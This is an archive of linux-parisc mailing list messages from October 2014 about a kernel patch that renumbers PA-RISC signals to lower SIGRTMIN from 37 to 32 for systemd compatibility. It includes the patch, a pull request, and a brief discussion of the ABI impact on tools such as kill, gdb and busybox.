	id 1Xcgfr-0000ku-Ff
	for glpp-linux-parisc@plane.gmane.org; Fri, 10 Oct 2014 22:20:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751993AbaJJUU1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 Oct 2014 16:20:27 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:60172 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751797AbaJJUU0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 Oct 2014 16:20:26 -0400
Original-Received: from ls3530.box ([84.173.13.164]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0Lmqxo-1Y6UaP2dGm-00h5C4; Fri, 10 Oct 2014 22:20:21
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:zJQVtUwzutkgWhglHnWwFaT9PL891+VqVc6lob0yuyNjHmpr1TW
 kAP6vHsYEzDVSRQLYox+C5cgeXwGeHPsmcVQnlS7OTJxRAEn6FItGDc8oA28HcA+/UROTFm
 DcieNSmuG+NFx1NqZIwsRd7oVRRDbW68hfiOAhgnNHNlS3kPW07m7n/h2Bz22oNL+UawFZt
 MoH/ldv5Kt9dAcPWYLJbw==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6172
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6172>

This patch reduces the value of SIGRTMIN on PARISC from 37 to 32, thus
increasing the number of available RT signals and bring it in sync with other
Linux architectures.

Historically we wanted to natively support HP-UX 32bit binaries with the
PA-RISC Linux port.  Because of that we carried the various available signals
from HP-UX (e.g. SIGEMT and SIGLOST) and folded them in between the native
Linux signals.  Although this was the right decision at that time, this
required us to increase SIGRTMIN to at least 37 which left us with 27 (64-37)
RT signals.

Those 27 RT signals haven't been a problem in the past, but with the upcoming
importance of systemd we now got the problem that systemd alloctes (hardcoded)
signals up to SIGRTMIN+29 which is beyond our NSIG of 64. Because of that we
have not been able to use systemd on the PARISC Linux port yet.

Of course we could ask the systemd developers to not use those hardcoded
values, but this change is very unlikely, esp. with PA-RISC being a niche
architecture.

The other possibility would be to increase NSIG to e.g. 128, but this would
mean to duplicate most of the existing Linux signal handling code into the
parisc specific Linux kernel tree which would most likely introduce lots of new
bugs beside the code duplication.

The third option is to drop some HP-UX signals and shuffle some other signals
around to bring SIGRTMIN to 32.  This is of course an ABI change, but testing
has shown that existing Linux installations are not visibly affected by this
change - most likely because we move those signals around which are rarely used
and move them to slots which haven't been used in Linux yet. In an existing
installation I was able to exchange either the Linux kernel or glibc (or both)
without affecting the boot process and installed applications.

Dropping the HP-UX signals isn't an issue either, since support for HP-UX was
basically dropped a few months back with Kernel 3.14 in commit
f5a408d53edef3af07ac7697b8bc54a755628450 already, when we changed EWOULDBLOCK
to be equal to EAGAIN.

So, even if this is an ABI change, it's better to change it now and thus bring
PARISC Linux in sync with other architectures to avoid other issues in the
future.

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: Carlos O'Donell <carlos@systemhalted.org>
Cc: John David Anglin <dave.anglin@bell.net>
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>
Cc: PARISC Linux Kernel Mailinglist <linux-parisc@vger.kernel.org>


diff --git a/arch/parisc/include/uapi/asm/signal.h b/arch/parisc/include/uapi/asm/signal.h
index f5645d6..10df707 100644
--- a/arch/parisc/include/uapi/asm/signal.h
+++ b/arch/parisc/include/uapi/asm/signal.h
@@ -8,12 +8,12 @@
 #define SIGTRAP		 5
 #define SIGABRT		 6
 #define SIGIOT		 6
-#define SIGEMT		 7
+#define SIGSTKFLT	 7
 #define SIGFPE		 8
 #define SIGKILL		 9
 #define SIGBUS		10
 #define SIGSEGV		11
-#define SIGSYS		12 /* Linux doesn't use this */
+#define SIGXCPU		12
 #define SIGPIPE		13
 #define SIGALRM		14
 #define SIGTERM		15
@@ -32,16 +32,12 @@
 #define SIGTTIN		27
 #define SIGTTOU		28
 #define SIGURG		29
-#define SIGLOST		30 /* Linux doesn't use this either */
-#define	SIGUNUSED	31
-#define SIGRESERVE	SIGUNUSED

From - Thu Nov 08 21:10:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Reduce SIGRTMIN from 37 to 32 to behave like
 other Linux architectures
Date: Fri, 10 Oct 2014 23:56:15 +0300
Lines: 17
Approved: news@gmane.org
Message-ID: <20141010205615.GB15738@drone.musicnaut.iki.fi>
References: <20141010202017.GA3644@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1412974602 29449 80.91.229.3 (10 Oct 2014 20:56:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 10 Oct 2014 20:56:42 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Carlos O'Donell <carlos@systemhalted.org>,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 10 22:56:35 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XchEe-0001c3-8R
	for glpp-linux-parisc@plane.gmane.org; Fri, 10 Oct 2014 22:56:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751514AbaJJU4X (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 10 Oct 2014 16:56:23 -0400
Original-Received: from filtteri6.pp.htv.fi ([213.243.153.189]:39949 "EHLO
	filtteri6.pp.htv.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751292AbaJJU4X (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 10 Oct 2014 16:56:23 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by filtteri6.pp.htv.fi (Postfix) with ESMTP id 376EA56F6CB;
	Fri, 10 Oct 2014 23:56:22 +0300 (EEST)
X-Virus-Scanned: Debian amavisd-new at pp.htv.fi
Original-Received: from smtp4.welho.com ([213.243.153.38])
	by localhost (filtteri6.pp.htv.fi [213.243.153.189]) (amavisd-new, port 10024)
	with ESMTP id im+z0T5RgWi0; Fri, 10 Oct 2014 23:56:15 +0300 (EEST)
Original-Received: from drone (91-145-91-118.bb.dnainternet.fi [91.145.91.118])
	by smtp4.welho.com (Postfix) with ESMTP id 9A52F5BC010;
	Fri, 10 Oct 2014 23:56:15 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <20141010202017.GA3644@ls3530.box>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6173
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6173>

Hi,

On Fri, Oct 10, 2014 at 10:20:17PM +0200, Helge Deller wrote:
> Signed-off-by: Helge Deller <deller@gmx.de>
> Cc: Carlos O'Donell <carlos@systemhalted.org>
> Cc: John David Anglin <dave.anglin@bell.net>
> Cc: James Bottomley <James.Bottomley@HansenPartnership.com>
> Cc: Aaro Koskinen <aaro.koskinen@iki.fi>

Tested-by: Aaro Koskinen <aaro.koskinen@iki.fi>

A.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc architecture patch for v3.18
Date: Sun, 12 Oct 2014 12:08:37 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <20141012100837.GA1553@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1413108536 25116 80.91.229.3 (12 Oct 2014 10:08:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 12 Oct 2014 10:08:56 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 12 12:08:49 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XdG51-0001Ip-NW
	for glpp-linux-parisc@plane.gmane.org; Sun, 12 Oct 2014 12:08:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750795AbaJLKIq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 12 Oct 2014 06:08:46 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:57329 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750777AbaJLKIq (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 12 Oct 2014 06:08:46 -0400
Original-Received: from p100.box ([84.173.51.211]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0Lpgew-1Y8jHi0LcE-00fT9r; Sun, 12 Oct 2014 12:08:40
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:l0x/AT/7p4BP7jkQtAPXvcvbGyTKMp7SxbfLINuuT2ooRbwkLbX
 a9Kjhd/oahf5Nvv0/31ZlNjfi2roMU74k4Q1lMVUqBQstBb7ngZ3aIhx99fqLys0agxriyl
 DhUdmGkh4cH20iluYhnNx7jdeRve/VMOXAWc/fjPuSqp+6HdAibu9FZDK08VnTtc3gkzTfV
 GQlmGoc2aNMVKH1nM82mw==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6174 gmane.linux.kernel:1805506
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6174>

Hi Linus,

please pull one patch for the parisc architecture for kernel 3.18 from 
  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.18-1

This patch intentionally breaks the ABI on PARISC Linux!

It assigns new numbers to SIGSTKFLT, SIGXCPU, SIGXFSZ and SIGSYS so that
those are below 32 and thus leaves us with 32 RT signals like other
Linux architectures (SIGRTMIN now becomes 32 instead of 37).

Even if it breaks the ABI, it doesn't seem to have any visible impact on
existing userspace applications. I was able to mix new kernel and/or
glibc without impacting normal bootup.  So, even if it breaks the ABI,
the benefits (e.g. being able to use systemd on PARISC Linux)
outperforms the minimal (if any) impact it gives.

The patch has been discussed on the parisc kernel mailing list and the
coresponding glibc patch will be committed by the parisc glibc
maintainer after this patch went into 3.18.

Some more background information about this patch is in the commit
message.

Thanks,
Helge 

----------------------------------------------------------------
Helge Deller (1):
      parisc: Reduce SIGRTMIN from 37 to 32 to behave like other Linux architectures

 arch/parisc/include/uapi/asm/signal.h | 16 ++++++----------
 1 file changed, 6 insertions(+), 10 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: One Thousand Gnomes <gnomes@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc architecture patch for v3.18
Date: Mon, 13 Oct 2014 14:41:43 +0100
Organization: Intel Corporation
Lines: 33
Approved: news@gmane.org
Message-ID: <20141013144143.475ca9f9@alan.etchedpixels.co.uk>
References: <20141012100837.GA1553@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1413207735 23104 80.91.229.3 (13 Oct 2014 13:42:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Oct 2014 13:42:15 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	"Carlos O'Donell" <carlos@systemhalted.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 13 15:42:07 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Xdft0-0002lS-RT
	for glpp-linux-parisc@plane.gmane.org; Mon, 13 Oct 2014 15:42:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752778AbaJMNmG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Oct 2014 09:42:06 -0400
Original-Received: from 251.110.2.81.in-addr.arpa ([81.2.110.251]:55559 "EHLO
	lxorguk.ukuu.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752693AbaJMNmF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Oct 2014 09:42:05 -0400
Original-Received: from alan.etchedpixels.co.uk (proxy [81.2.110.250])
	by lxorguk.ukuu.org.uk (8.14.7/8.14.1) with ESMTP id s9DDk3wg002345;
	Mon, 13 Oct 2014 14:46:08 +0100
In-Reply-To: <20141012100837.GA1553@p100.box>
X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.23; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6175 gmane.linux.kernel:1806109
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6175>

On Sun, 12 Oct 2014 12:08:37 +0200
Helge Deller <deller@gmx.de> wrote:

> Hi Linus,
> 
> please pull one patch for the parisc architecture for kernel 3.18 from 
>   git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.18-1
> 
> This patch intentionally breaks the ABI on PARISC Linux!
> 
> It assigns new numbers to SIGSTKFLT, SIGXCPU, SIGXFSZ and SIGSYS so that
> those are below 32 and thus leaves us with 32 RT signals like other
> Linux architectures (SIGRTMIN now becomes 32 instead of 37).
> 
> Even if it breaks the ABI, it doesn't seem to have any visible impact on
> existing userspace applications.

I somehow doubt your kill command magically corrects its signal numbering
table. Likewise what does gdb do given a core dump that died from one of
those signals, and what does your shell report if you kill one that way.
It seems to me your minimal set of binaries to swap to get it right is
non-zero but not problematic (libc, kill, shells, top, gdb) ?

I can however really only think of one app that actually *used* SIGXCPU,
and that was to respawn itself to avoid annoying sysadmin set CPU limits
anyway.

Alan
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc architecture patch for v3.18
Date: Mon, 13 Oct 2014 22:24:53 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <543C3515.9090000@gmx.de>
References: <20141012100837.GA1553@p100.box> <20141013144143.475ca9f9@alan.etchedpixels.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1413231914 11983 80.91.229.3 (13 Oct 2014 20:25:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Oct 2014 20:25:14 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Carlos O'Donell <carlos@systemhalted.org>
To: One Thousand Gnomes <gnomes@lxorguk.ukuu.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 13 22:25:06 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XdmAz-0002R4-UT
	for glpp-linux-parisc@plane.gmane.org; Mon, 13 Oct 2014 22:25:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752107AbaJMUZF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Oct 2014 16:25:05 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:62378 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751949AbaJMUZE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Oct 2014 16:25:04 -0400
Original-Received: from [192.168.178.60] ([84.173.1.23]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0Lcj9b-1Y403M0IMB-00kBcL; Mon, 13 Oct 2014 22:24:55
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.7.0
In-Reply-To: <20141013144143.475ca9f9@alan.etchedpixels.co.uk>
X-Provags-ID: V03:K0:fCDT32VFaSjAo3J0X4dYGvWY3PHU+T0XtiOI9avrG9px+vUvr80
 blwghf8STTRDwNvGVjH3iM+3peR5exY7sJ4C7nyxon7F0BNVG5Oq+3vwXCOUOYDW1d50lem
 bIVcenhP35FH8vEHpyCDscf7L+NzoUCAPC+xJIZQDsOznBPjVYAwKqO+N+utHA5+OkVS2on
 12Ji8SiAlvQkJ6Vxvy8mg==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6176 gmane.linux.kernel:1806264
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6176>

On 10/13/2014 03:41 PM, One Thousand Gnomes wrote:
> On Sun, 12 Oct 2014 12:08:37 +0200
> Helge Deller <deller@gmx.de> wrote:
>
>> Hi Linus,
>>
>> please pull one patch for the parisc architecture for kernel 3.18 from
>>    git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.18-1
>>
>> This patch intentionally breaks the ABI on PARISC Linux!
>>
>> It assigns new numbers to SIGSTKFLT, SIGXCPU, SIGXFSZ and SIGSYS so that
>> those are below 32 and thus leaves us with 32 RT signals like other
>> Linux architectures (SIGRTMIN now becomes 32 instead of 37).
>>
>> Even if it breaks the ABI, it doesn't seem to have any visible impact on
>> existing userspace applications.
>
> I somehow doubt your kill command magically corrects its signal numbering
> table. Likewise what does gdb do given a core dump that died from one of
> those signals, and what does your shell report if you kill one that way.
> It seems to me your minimal set of binaries to swap to get it right is
> non-zero but not problematic (libc, kill, shells, top, gdb) ?

My patch of course just marks the start of a transition phase, in which
some few applications need to be rebuilt (libc as the most important one).
But after all it makes a somewhat smooth transition possible, and as I
wrote in the commit message this is the best solution (out of 3) with the
least impact which we have.
  
> I can however really only think of one app that actually *used* SIGXCPU,
> and that was to respawn itself to avoid annoying sysadmin set CPU limits
> anyway.

:-)

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc architecture patch for v3.18
Date: Tue, 14 Oct 2014 00:32:18 +0300
Lines: 24
Approved: news@gmane.org
Message-ID: <20141013213218.GC15738@drone.musicnaut.iki.fi>
References: <20141012100837.GA1553@p100.box>
 <20141013144143.475ca9f9@alan.etchedpixels.co.uk>
 <543C3515.9090000@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1413235957 29634 80.91.229.3 (13 Oct 2014 21:32:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Oct 2014 21:32:37 +0000 (UTC)
Cc: One Thousand Gnomes <gnomes@lxorguk.ukuu.org.uk>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Carlos O'Donell <carlos@systemhalted.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 13 23:32:30 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XdnED-0003fG-Ep
	for glpp-linux-parisc@plane.gmane.org; Mon, 13 Oct 2014 23:32:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752985AbaJMVc2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 13 Oct 2014 17:32:28 -0400
Original-Received: from filtteri1.pp.htv.fi ([213.243.153.184]:47827 "EHLO
	filtteri1.pp.htv.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751693AbaJMVc1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 13 Oct 2014 17:32:27 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by filtteri1.pp.htv.fi (Postfix) with ESMTP id 7A0BB21B888;
	Tue, 14 Oct 2014 00:32:25 +0300 (EEST)
X-Virus-Scanned: Debian amavisd-new at pp.htv.fi
Original-Received: from smtp6.welho.com ([213.243.153.40])
	by localhost (filtteri1.pp.htv.fi [213.243.153.184]) (amavisd-new, port 10024)
	with ESMTP id q++VJXL4KVnK; Tue, 14 Oct 2014 00:32:18 +0300 (EEST)
Original-Received: from drone (91-145-91-118.bb.dnainternet.fi [91.145.91.118])
	by smtp6.welho.com (Postfix) with ESMTP id D187C5BC008;
	Tue, 14 Oct 2014 00:32:18 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <543C3515.9090000@gmx.de>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6177 gmane.linux.kernel:1806299
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6177>

Hi,

On Mon, Oct 13, 2014 at 10:24:53PM +0200, Helge Deller wrote:
> On 10/13/2014 03:41 PM, One Thousand Gnomes wrote:
> >I somehow doubt your kill command magically corrects its signal numbering
> >table. Likewise what does gdb do given a core dump that died from one of
> >those signals, and what does your shell report if you kill one that way.
> >It seems to me your minimal set of binaries to swap to get it right is
> >non-zero but not problematic (libc, kill, shells, top, gdb) ?
> 
> My patch of course just marks the start of a transition phase, in which
> some few applications need to be rebuilt (libc as the most important one).

Busybox handles changed signals correctly after rebuilding against
new headers. Based on quick look, GDB has never known about
PA-RISC specific numbers, so it has probably always reported some
wrong signal name...

A.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hirokazu TAKATA <hirokazu.takata.wj@renesas.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.virtualization.lguest,gmane.linux.acpi.devel,gmane.linux.ports.alpha,gmane.linux.kernel.efi,gmane.linux.ports.hexagon,gmane.linux.ports.ppc64.devel,gmane.linux.ports.tegra,gmane.linux.kernel.openipmi,gmane.linux.uml.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.power-management.general,gmane.linux.ports.sh.devel
Subject: Re: [PATCH 08/44] kernel: Move pm_power_off to common code
Date: Tue, 14 Oct 2014 13:29:29 +0900
Lines: 10
Approved: news@gmane.org
Message-ID: <87oatfi89i.wl%hirokazu.takata.wj@renesas.com>
References: <1412659726-29957-1-git-send-email-linux@roeck-us.net>
        <1412659726-29957-9-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (generated by SEMI-EPG 1.14.7 - "Harue")
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1413261124 8782 80.91.229.3 (14 Oct 2014 04:32:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Oct 2014 04:32:04 +0000 (UTC)
Cc: <linux-kernel@vger.kernel.org>,
        <adi-buildroot-devel@lists.sourceforge.net>,
        <devel@driverdev.osuosl.org>, <devicetree@vger.kernel.org>,
        <lguest@lists.ozlabs.org>, <linux-acpi@vger.kernel.org>,
        <linux-alpha@vger.kernel.org>, <linux-am33-list@redhat.com>,
        <linux-cris-kernel@axis.com>, <linux-efi@vger.kernel.org>,
        <linux-hexagon@vger.kernel.org>, <linux-m32r-ja@ml.linux-m32r.org>,
        <linuxppc-dev@lists.ozlabs.org>, <linux-s390@vger.kernel.org>,
        <linux-tegra@vger.kernel.org>, <linux-xtensa@linux-xtensa.org>,
        <openipmi-developer@lists.sourceforge.net>,
        <user-mode-linux-devel@lists.sourceforge.net>,
        <linux-arm-kernel@lists.infradead.org>,
        <linux-c6x-dev@linux-c6x.org>, <linux-ia64@vger.kernel.org>,
        <linux-m68k@lists.linux-m68k.org>, <linux-metag@vger.kernel.org>,
        <linux-mips@linux
To: Guenter Roeck <linux@roeck-us.net>
Original-X-From: linux-mips-bounce@linux-mips.org Tue Oct 14 06:31:48 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1Xdtm0-0001ke-3c
	for sgi-linux-mips@gmane.org; Tue, 14 Oct 2014 06:31:48 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:54041 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27011337AbaJNEbqCI8V4 (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Tue, 14 Oct 2014 06:31:46 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 14 Oct 2014 06:31:32 +0200 (CEST)
Original-Received: from relmlor4.renesas.com ([210.160.252.174]:41144 "EHLO
        relmlie3.idc.renesas.com" rhost-flags-OK-OK-OK-FAIL)
